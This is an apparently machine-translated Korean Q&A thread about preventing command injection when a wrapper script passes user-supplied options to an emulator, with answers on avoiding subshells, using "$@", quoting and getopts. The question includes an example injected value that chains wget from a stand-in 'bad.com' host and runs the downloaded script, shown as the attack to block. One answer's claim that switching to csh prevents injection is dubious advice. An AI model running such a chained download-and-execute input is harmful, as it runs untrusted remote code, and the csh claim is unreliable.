명령 옵션을 통한 명령 주입을 방지하는 방법은 무엇입니까?

명령 옵션을 통한 명령 주입을 방지하는 방법은 무엇입니까?

사용자가 에뮬레이터에 전달할 사용자 정의 옵션을 지정할 수 있도록 해야 하는 래퍼 애플리케이션이 있습니다. 그러나 사용자가 사용자 옵션을 통해 추가 명령을 주입하지 않도록 하고 싶습니다. 이를 달성하는 가장 좋은 방법은 무엇입니까?

예를 들어.

  • 사용자 제공:-a -b
  • 애플리케이션 실행:mysim --preset_opt -a -b

그러나 나는 이런 일이 일어나는 것을 원하지 않습니다:

  • 사용자 제공:&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 애플리케이션 실행:mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

'현재는 각 사용자 제공 옵션을 작은따옴표로 묶고 사용자 제공 작은따옴표를 제거하면 마지막 예제의 명령이 무해할 수 있다고 생각합니다 .

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

참고: 이 mysim명령은 docker/lxc 컨테이너에 있는 셸 스크립트의 일부로 실행됩니다. 저는 우분투를 실행하고 있습니다.

답변1

래퍼를 제어할 수 있는 경우 하위 쉘을 호출하지 않는지 확인하세요. 깊은 곳에서,프로그램 실행 지침실행 파일의 전체 경로(현재 디렉터리에 대한 절대 또는 상대 경로)와 인수로 전달된 문자열 목록을 포함합니다. 경로 조회, 공백으로 구분된 인수, 인용 및 제어 연산자는 모두 셸에서 제공됩니다. 껍질도 없고 통증도 없습니다.

예를 들어 Perl 래퍼의 경우 exec또는 목록 형식을 사용합니다 system. 많은 언어에서는 , 또는 무엇이든 사용하는 대신 execone execXXX(또는 무엇이든)을 호출 하거나 기능합니다 .unix.execsystemos.spawnshell=False

래퍼가 쉘 스크립트인 경우 "$@"인수를 전달하는 데 사용됩니다.

#!/bin/sh
mysim -preset-opt "$@"

선택의 여지가 없고 래퍼가 셸을 호출하는 경우 인수를 셸에 전달하기 전에 인수를 인용해야 합니다. 매개변수를 참조하는 쉬운 방법은 다음을 수행하는 것입니다.

  1. 각 인수에서 '(작은따옴표)를 각각 4자리 문자열로 바꿉니다 '\''. (예를 don't들어 가 된다 don'\''t)
  2. '각 매개변수의 시작 부분과 각 매개변수의 끝 부분에 추가합니다. (예: don't에서 don'\''t까지 'don'\''t')
  3. 사이에 공백을 사용하여 결과를 연결합니다.

쉘 래퍼에서 이 작업을 수행해야 하는 경우 다음 방법을 사용할 수 있습니다.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(안타깝게도 bash ${VAR//PATTERN/REPLACEMENT}구성은 여기에서 편리해야 하지만 이상한 인용이 필요하고 대체 텍스트로 얻을 수 없을 것 같습니다 '\''.)

답변2

Bash의 관용구를 사용하여 먼저 ${VAR//PATTERN/REPLACEMENT}작은따옴표를 변수 '로 변환한 다음(중간 단계로) 해당 변수를 위의 Bash 관용구의 요소로 확장할 수 있습니다.'\'''\''REPLACEMENT

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

답변3

다음과 같이 매개변수를 구문 분석하는 getopts데 사용할 수 있습니다 .bash

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done

답변4

주사를 피하려면 [T]csh로 전환하는 것이 좋습니다. Bourne Shell과 달리 C Shell은 "제한적"이므로 사람들이 스크립트 작성에 있어 보다 안전한 다른 경로를 택하도록 지시합니다. C 셸에 부과된 "제한 사항"은 C 셸을 가장 신뢰할 수 있는 셸 중 하나로 만듭니다. (예: 중첩은 최소화되거나 심지어 불가능하므로 주입은 어떤 대가를 치르더라도 방지됩니다. 원하는 것을 달성하는 더 나은 방법이 있습니다.)

관련 정보